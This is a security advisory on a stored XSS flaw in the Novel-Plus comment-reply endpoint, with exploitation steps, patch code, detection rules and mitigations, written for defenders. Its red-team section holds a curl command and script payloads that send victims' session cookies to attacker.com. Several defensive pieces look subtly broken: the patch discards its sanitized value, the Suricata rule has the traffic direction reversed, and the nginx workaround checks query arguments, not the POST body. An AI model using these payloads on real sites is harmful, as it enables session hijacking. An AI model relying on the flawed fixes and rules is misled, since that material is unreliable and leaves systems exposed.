CVE-2025-60299

Executive Summary

CVE-2025-60299 is a Stored Cross-Site Scripting (XSS) vulnerability in Novel-Plus version 5.2.0, a popular open-source novel management platform. The flaw resides in the /book/addCommentReply endpoint, where an authenticated user can inject malicious JavaScript through the replyContent parameter. The payload is stored in the database and executed in other users’ browsers when they view the affected comment thread. This vulnerability allows for session hijacking, credential theft, and defacement. No official patch has been released as of the analysis date.

Supply Chain & Package Security

Novel-Plus is a Java-based web application typically deployed as a WAR file or via Docker. The vulnerability is in the application layer, not in a package manager (NPM, PyPI, Go, Ruby). However, the application may depend on vulnerable libraries (e.g., outdated Spring Boot or Thymeleaf versions) that could exacerbate the risk. Organizations should audit their deployment for any unpatched dependencies.

CVSS Breakdown & Threat Level

CVSS Score: 5.4 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): Low – Attacker needs an authenticated account.
• User Interaction (UI): Required – Victim must view the comment thread.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Potential for limited data exfiltration.
• Integrity (I): Low – Potential for limited content modification.
• Availability (A): None – No direct impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the lack of a patch make it a significant risk for deployed instances.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the comment reply functionality. The /book/addCommentReply endpoint accepts a replyContent parameter without proper sanitization or encoding. When a user submits a reply, the input is stored directly in the database. When another user loads the comment thread, the server retrieves the stored reply and renders it in the HTML without escaping, allowing the injected script to execute.

Root Cause: The application fails to apply context-aware output encoding (e.g., HTML entity encoding) to user-supplied input before rendering it in the browser. This is a violation of the OWASP XSS Prevention Cheat Sheet.

Attack Flow:

1. Attacker logs in to Novel-Plus.
2. Attacker navigates to a book’s comment section and replies to an existing comment.
3. Attacker injects a payload like <script>alert('XSS')</script> in the replyContent parameter.
4. The payload is stored in the database.
5. Victim views the same comment thread.
6. The server returns the stored payload without sanitization.
7. The victim’s browser executes the script.

Vulnerable vs. Patched Code

Vulnerable Code (Novel-Plus 5.2.0):

// Controller endpoint
@PostMapping("/book/addCommentReply")
public String addCommentReply(@RequestParam("replyContent") String replyContent, ...) {
    // Directly stores user input without sanitization
    commentReply.setContent(replyContent);
    commentReplyRepository.save(commentReply);
    return "redirect:/book/detail/" + bookId;
}

Patched Code (Hypothetical fix):

// Use a library like OWASP Java Encoder
import org.owasp.encoder.Encode;

@PostMapping("/book/addCommentReply")
public String addCommentReply(@RequestParam("replyContent") String replyContent, ...) {
    // Sanitize input to remove scripts
    String sanitizedContent = Jsoup.clean(replyContent, Whitelist.basic());
    // Or encode for HTML output
    String encodedContent = Encode.forHtml(replyContent);
    commentReply.setContent(encodedContent);
    commentReplyRepository.save(commentReply);
    return "redirect:/book/detail/" + bookId;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of Novel-Plus 5.2.0.
• An authenticated user account.

Step-by-Step Exploitation:

1. Log in to Novel-Plus.
2. Navigate to any book’s comment section.
3. Use a tool like Burp Suite or cURL to send a POST request to /book/addCommentReply with a malicious payload.

Example cURL command:

curl -X POST http://target.com/book/addCommentReply \
  -H "Cookie: JSESSIONID=your_session_id" \
  -d "replyContent=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>&commentId=123"

Advanced Payload (Session Hijacking):

<script>
var img = new Image();
img.src = 'http://attacker.com/log?data=' + document.cookie;
</script>

Note: No public exploit-db code was provided. The above is a standard XSS exploitation technique.

Blue Team (Detection & Defense)

Detection:

• Monitor HTTP POST requests to /book/addCommentReply for suspicious patterns (e.g., <script>, onerror=, javascript:).
• Use WAF rules to block common XSS payloads.
• Review server logs for unusual replyContent values.

Defense:

• Apply input validation and output encoding (see Remediation).
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use a Web Application Firewall (WAF) with XSS signatures.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /book/addCommentReply with replyContent containing <script> tags or event handlers.
• Outbound connections from the server to unknown domains (e.g., attacker.com) after a user views a comment thread.

Host IOCs:

• Database entries in the comment_reply table with content field containing JavaScript.
• Unusual HTTP Referer headers in server logs.

File IOCs:

• No specific file IOCs; the vulnerability is data-driven.

Detection Engineering

YARA Rule

rule Detect_Stored_XSS_NovelPlus {
    meta:
        description = "Detects stored XSS payloads in Novel-Plus comment replies"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60299"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: Novel-Plus Stored XSS via Comment Reply
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential stored XSS attempts in Novel-Plus /book/addCommentReply endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/book/addCommentReply*'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in comments (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-60299 Novel-Plus Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/book/addCommentReply"; http_uri; pcre:"/(<script|onerror|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Comment Replies: If possible, disable the comment reply feature until a patch is available.
2. Apply WAF Rules: Block requests containing <script>, onerror=, javascript: in the replyContent parameter.
3. Manual Code Fix: Apply output encoding as shown in the patched code section.

Long-Term Fix:

• Upgrade to a patched version when released.
• Implement a Content Security Policy (CSP) with script-src 'self' to mitigate XSS.
• Conduct a security audit of all user input handling.

Workaround:

• Use a reverse proxy (e.g., Nginx) to filter malicious payloads:

location /book/addCommentReply {
    if ($arg_replyContent ~* "(<script|onerror|javascript:)") {
        return 403;
    }
}

Valters IT
Securing Digital Frontiers